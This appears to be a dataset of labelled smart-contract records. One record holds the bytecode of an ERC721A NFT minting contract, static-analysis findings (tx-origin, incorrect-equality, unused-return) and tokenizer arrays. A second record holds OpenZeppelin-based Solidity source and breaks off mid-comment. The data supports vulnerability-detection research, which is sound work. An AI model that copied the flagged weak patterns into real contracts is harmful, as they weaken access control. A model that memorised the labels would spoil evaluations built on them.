0x6080604052600436106101ee5760003560e01c80636c0360eb1161010d578063b88d4fde116100a0578063e8a3d4851161006f578063e8a3d4851461055f578063e985e9c514610574578063f2fde38b14610594578063f43a22dc146105b4578063fa30297e146105c957600080fd5b8063b88d4fde146104c6578063c6682862146104e6578063c87b56dd14610517578063cd7c03261461053757600080fd5b806395d89b41116100dc57806395d89b4114610469578063a035b1fe1461047e578063a0712d6814610493578063a22cb465146104a657600080fd5b80636c0360eb1461040157806370a0823114610416578063715018a6146104365780638da5cb5b1461044b57600080fd5b80632f745c59116101855780634f6ccce7116101545780634f6ccce71461038757806355f804b3146103a75780635c975abb146103c75780636352211e146103e157600080fd5b80632f745c591461031c57806332cb6b0c1461033c5780633ccfd60b1461035257806342842e0e1461036757600080fd5b8063095ea7b3116101c1578063095ea7b3146102a45780630f2cdd6c146102c457806318160ddd146102e757806323b872dd146102fc57600080fd5b806301ffc9a7146101f357806302329a291461022857806306fdde031461024a578063081812fc1461026c575b600080fd5b3480156101ff57600080fd5b5061021361020e366004611f48565b6105f6565b60405190151581526020015b60405180910390f35b34801561023457600080fd5b50610248610243366004611f2d565b610663565b005b34801561025657600080fd5b5061025f6106a9565b60405161021f919061212d565b34801561027857600080fd5b5061028c610287366004611fe8565b61073b565b6040516001600160a01b03909116815260200161021f565b3480156102b057600080fd5b506102486102bf366004611f01565b6107c6565b3480156102d057600080fd5b506102d9600481565b60405190815260200161021f565b3480156102f357600080fd5b506000546102d9565b34801561030857600080fd5b50610248610317366004611e0b565b6108de565b34801561032857600080fd5b506102d9610337366004611f01565b6108e9565b34801561034857600080fd5b506102d96101f481565b34801561035e57600080fd5b50610248610a57565b34801561037357600080fd5b50610248610382366004611e0b565b610b10565b34801561039357600080fd5b506102d96103a2366004611fe8565b610b2b565b3480156103b357600080fd5b506102486103c2366004611f9f565b610b8d565b3480156103d357600080fd5b50600a546102139060ff1681565b3480156103ed57600080fd5b5061028c6103fc366004611fe8565b610bca565b34801561040d57600080fd5b5061025f610bdc565b34801561042257600080fd5b506102d9610431366004611dae565b610c6a565b34801561044257600080fd5b50610248610cfb565b34801561045757600080fd5b506007546001600160a01b031661028c565b34801561047557600080fd5b5061025f610d31565b34801561048a57600080fd5b506102d9600081565b6102486104a1366004611fe8565b610d40565b3480156104b257600080fd5b506102486104c1366004611ecc565b610f8c565b3480156104d257600080fd5b506102486104e1366004611e4c565b611051565b3480156104f257600080fd5b5061025f60405180604001604052806005815260200164173539b7b760d91b81525081565b34801561052357600080fd5b5061025f610532366004611fe8565b61108a565b34801561054357600080fd5b5061028c73a5409ec958c83c3f309868babaca7c86dcb077c181565b34801561056b57600080fd5b5061025f611156565b34801561058057600080fd5b5061021361058f366004611dd2565b611163565b3480156105a057600080fd5b506102486105af366004611dae565b611242565b3480156105c057600080fd5b506102d9600281565b3480156105d557600080fd5b506102d96105e4366004611dae565b600b6020526000908152604090205481565b60006001600160e01b031982166380ac58cd60e01b148061062757506001600160e01b03198216635b5e139f60e01b145b8061064257506001600160e01b0319821663780e9d6360e01b145b8061065d57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6007546001600160a01b031633146106965760405162461bcd60e51b815260040161068d90612140565b60405180910390fd5b600a805460ff1916911515919091179055565b6060600180546106b890612298565b80601f01602080910402602001604051908101604052809291908181526020018280546106e490612298565b80156107315780601f1061070657610100808354040283529160200191610731565b820191906000526020600020905b81548152906001019060200180831161071457829003601f168201915b5050505050905090565b6000610748826000541190565b6107aa5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b606482015260840161068d565b506000908152600560205260409020546001600160a01b031690565b60006107d182610bca565b9050806001600160a01b0316836001600160a01b031614156108405760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b606482015260840161068d565b336001600160a01b038216148061085c575061085c8133611163565b6108ce5760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000606482015260840161068d565b6108d98383836112dd565b505050565b6108d9838383611339565b60006108f483610c6a565b821061094d5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b606482015260840161068d565b600080549080805b838110156109f7576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff1691830191909152156109a857805192505b876001600160a01b0316836001600160a01b031614156109e457868414156109d65750935061065d92505050565b836109e0816122d3565b9450505b50806109ef816122d3565b915050610955565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b606482015260840161068d565b6007546001600160a01b03163314610a815760405162461bcd60e51b815260040161068d90612140565b6040514790600090339083908381818185875af1925050503d8060008114610ac5576040519150601f19603f3d011682016040523d82523d6000602084013e610aca565b606091505b5050905080610b0c5760405162461bcd60e51b815260206004820152600e60248201526d11985a5b1959081d1bc81cd95b9960921b604482015260640161068d565b5050565b6108d983838360405180602001604052806000815250611051565b600080548210610b895760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b606482015260840161068d565b5090565b6007546001600160a01b03163314610bb75760405162461bcd60e51b815260040161068d90612140565b8051610b0c906008906020840190611c93565b6000610bd582611680565b5192915050565b60088054610be990612298565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1590612298565b8015610c625780601f10610c3757610100808354040283529160200191610c62565b820191906000526020600020905b815481529060010190602001808311610c4557829003601f168201915b505050505081565b60006001600160a01b038216610cd65760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b606482015260840161068d565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6007546001600160a01b03163314610d255760405162461bcd60e51b815260040161068d90612140565b610d2f6000611760565b565b6060600280546106b890612298565b600a54339060ff1615610d7e5760405162461bcd60e51b815260206004820152600660248201526514185d5cd95960d21b604482015260640161068d565b81610d8860005490565b610d9291906121f3565b6101f41015610dd85760405162461bcd60e51b815260206004820152601260248201527145786365656473206d617820737570706c7960701b604482015260640161068d565b60008211610e155760405162461bcd60e51b815260206004820152600a6024820152694e6f2030206d696e747360b01b604482015260640161068d565b326001600160a01b03821614610e5c5760405162461bcd60e51b815260206004820152600c60248201526b4e6f20636f6e74726163747360a01b604482015260640161068d565b336000908152600b6020526040902054600490610e7a9084906121f3565b1115610ec15760405162461bcd60e51b8152602060048201526016602482015275115e18d959591cc81b585e081c195c881dd85b1b195d60521b604482015260640161068d565b8160021015610f0b5760405162461bcd60e51b815260206004820152601660248201527508af0c6cae6e640dac2f040e0cae440e0c2d2c840e8f60531b604482015260640161068d565b34610f1760008461221f565b14610f5d5760405162461bcd60e51b8152602060048201526016602482015275125b9d985b1a5908199d5b991cc81c1c9bdd9a59195960521b604482015260640161068d565b336000908152600b602052604081208054849290610f7c9084906121f3565b90915550610b0c905081836117b2565b6001600160a01b038216331415610fe55760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c6572000000000000604482015260640161068d565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61105c848484611339565b611068848484846117cc565b6110845760405162461bcd60e51b815260040161068d90612175565b50505050565b6060611097826000541190565b6110db5760405162461bcd60e51b81526020600482015260156024820152742a37b5b2b7103237b2b9903737ba1032bc34b9ba1760591b604482015260640161068d565b6000600880546110ea90612298565b905011611106576040518060200160405280600081525061065d565b6008611111836118d9565b60405180604001604052806005815260200164173539b7b760d91b81525060405160200161114193929190612049565b60405160208183030381529060405292915050565b60098054610be990612298565b60405163c455279160e01b81526001600160a01b03838116600483015260009173a5409ec958c83c3f309868babaca7c86dcb077c191841690829063c45527919060240160206040518083038186803b1580156111bf57600080fd5b505afa1580156111d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f79190611f82565b6001600160a01b0316141561121057600191505061065d565b6001600160a01b0380851660009081526006602090815260408083209387168352929052205460ff165b949350505050565b6007546001600160a01b0316331461126c5760405162461bcd60e51b815260040161068d90612140565b6001600160a01b0381166112d15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161068d565b6112da81611760565b50565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061134482611680565b80519091506000906001600160a01b0316336001600160a01b0316148061137b5750336113708461073b565b6001600160a01b0316145b8061138d5750815161138d9033611163565b9050806113f75760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606482015260840161068d565b846001600160a01b031682600001516001600160a01b03161461146b5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b606482015260840161068d565b6001600160a01b0384166114cf5760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b606482015260840161068d565b6114df60008484600001516112dd565b6001600160a01b03858116600090815260046020908152604080832080546fffffffffffffffffffffffffffffffff198082166001600160801b03928316600019018316179092558986168086528386208054938416938316600190810190931693909317909255825180840184529182524267ffffffffffffffff9081168386019081528a8752600390955292852091518254945196166001600160e01b031990941693909317600160a01b959092169490940217909255906115a49085906121f3565b6000818152600360205260409020549091506001600160a01b0316611636576115ce816000541190565b156116365760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600390935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b604080518082019091526000808252602082015261169f826000541190565b6116fe5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b606482015260840161068d565b815b6000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff16918301919091521561174d579392505050565b508061175881612281565b915050611700565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610b0c8282604051806020016040528060008152506119d7565b60006001600160a01b0384163b156118ce57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118109033908990889088906004016120fa565b602060405180830381600087803b15801561182a57600080fd5b505af192505050801561185a575060408051601f3d908101601f1916820190925261185791810190611f65565b60015b6118b4573d808015611888576040519150601f19603f3d011682016040523d82523d6000602084013e61188d565b606091505b5080516118ac5760405162461bcd60e51b815260040161068d90612175565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061123a565b506001949350505050565b6060816118fd5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156119275780611911816122d3565b91506119209050600a8361220b565b9150611901565b60008167ffffffffffffffff81111561194257611942612344565b6040519080825280601f01601f19166020018201604052801561196c576020820181803683370190505b5090505b841561123a5761198160018361223e565b915061198e600a866122ee565b6119999060306121f3565b60f81b8183815181106119ae576119ae61232e565b60200101906001600160f81b031916908160001a9053506119d0600a8661220b565b9450611970565b6000546001600160a01b038416611a3a5760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b606482015260840161068d565b611a45816000541190565b15611a925760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e746564000000604482015260640161068d565b60008311611aee5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a207175616e74697479206d7573742062652067726561746560448201526207220360ec1b606482015260840161068d565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190611b4a9087906121c8565b6001600160801b03168152602001858360200151611b6891906121c8565b6001600160801b039081169091526001600160a01b0380881660008181526004602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526003909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b85811015611c885760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4611c4c60008884886117cc565b611c685760405162461bcd60e51b815260040161068d90612175565b81611c72816122d3565b9250508080611c80906122d3565b915050611bff565b506000819055611678565b828054611c9f90612298565b90600052602060002090601f016020900481019282611cc15760008555611d07565b82601f10611cda57805160ff1916838001178555611d07565b82800160010185558215611d07579182015b82811115611d07578251825591602001919060010190611cec565b50610b899291505b80821115610b895760008155600101611d0f565b600067ffffffffffffffff80841115611d3e57611d3e612344565b604051601f8501601f19908116603f01168101908282118183101715611d6657611d66612344565b81604052809350858152868686011115611d7f57600080fd5b858560208301376000602087830101525050509392505050565b80358015158114611da957600080fd5b919050565b600060208284031215611dc057600080fd5b8135611dcb8161235a565b9392505050565b60008060408385031215611de557600080fd5b8235611df08161235a565b91506020830135611e008161235a565b809150509250929050565b600080600060608486031215611e2057600080fd5b8335611e2b8161235a565b92506020840135611e3b8161235a565b929592945050506040919091013590565b60008060008060808587031215611e6257600080fd5b8435611e6d8161235a565b93506020850135611e7d8161235a565b925060408501359150606085013567ffffffffffffffff811115611ea057600080fd5b8501601f81018713611eb157600080fd5b611ec087823560208401611d23565b91505092959194509250565b60008060408385031215611edf57600080fd5b8235611eea8161235a565b9150611ef860208401611d99565b90509250929050565b60008060408385031215611f1457600080fd5b8235611f1f8161235a565b946020939093013593505050565b600060208284031215611f3f57600080fd5b611dcb82611d99565b600060208284031215611f5a57600080fd5b8135611dcb8161236f565b600060208284031215611f7757600080fd5b8151611dcb8161236f565b600060208284031215611f9457600080fd5b8151611dcb8161235a565b600060208284031215611fb157600080fd5b813567ffffffffffffffff811115611fc857600080fd5b8201601f81018413611fd957600080fd5b61123a84823560208401611d23565b600060208284031215611ffa57600080fd5b5035919050565b60008151808452612019816020860160208601612255565b601f01601f19169290920160200192915050565b6000815161203f818560208601612255565b9290920192915050565b600080855481600182811c91508083168061206557607f831692505b602080841082141561208557634e487b7160e01b86526022600452602486fd5b81801561209957600181146120aa576120d7565b60ff198616895284890196506120d7565b60008c81526020902060005b868110156120cf5781548b8201529085019083016120b6565b505084890196505b5050505050506120f06120ea828761202d565b8561202d565b9695505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906120f090830184612001565b602081526000611dcb6020830184612001565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b60006001600160801b038083168185168083038211156121ea576121ea612302565b01949350505050565b6000821982111561220657612206612302565b500190565b60008261221a5761221a612318565b500490565b600081600019048311821515161561223957612239612302565b500290565b60008282101561225057612250612302565b500390565b60005b83811015612270578181015183820152602001612258565b838111156110845750506000910152565b60008161229057612290612302565b506000190190565b600181811c908216806122ac57607f821691505b602082108114156122cd57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156122e7576122e7612302565b5060010190565b6000826122fd576122fd612318565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146112da57600080fd5b6001600160e01b0319811681146112da57600080fdfea2646970667358221220cbf39c258c5ec27a271c0b10b6b6123eb87252f79105ca51bbd0823f5d376dd264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 26224, 2050, 2581, 21486, 2497, 18827, 16576, 7875, 2278, 2581, 20952, 2575, 2683, 2094, 19317, 2050, 22407, 2497, 2620, 19841, 16086, 23352, 2629, 2063, 2509, 2050, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 5890, 1008, 1013, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1030, 1058, 2549, 1012, 1018, 1012, 1016, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,833
0x977520d780d3ed7bef3d9714260456d4ec7791ba
// SPDX-License-Identifier: MIT //Developer Info: //fiverr: fiverr.com/rizwanali792 // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for 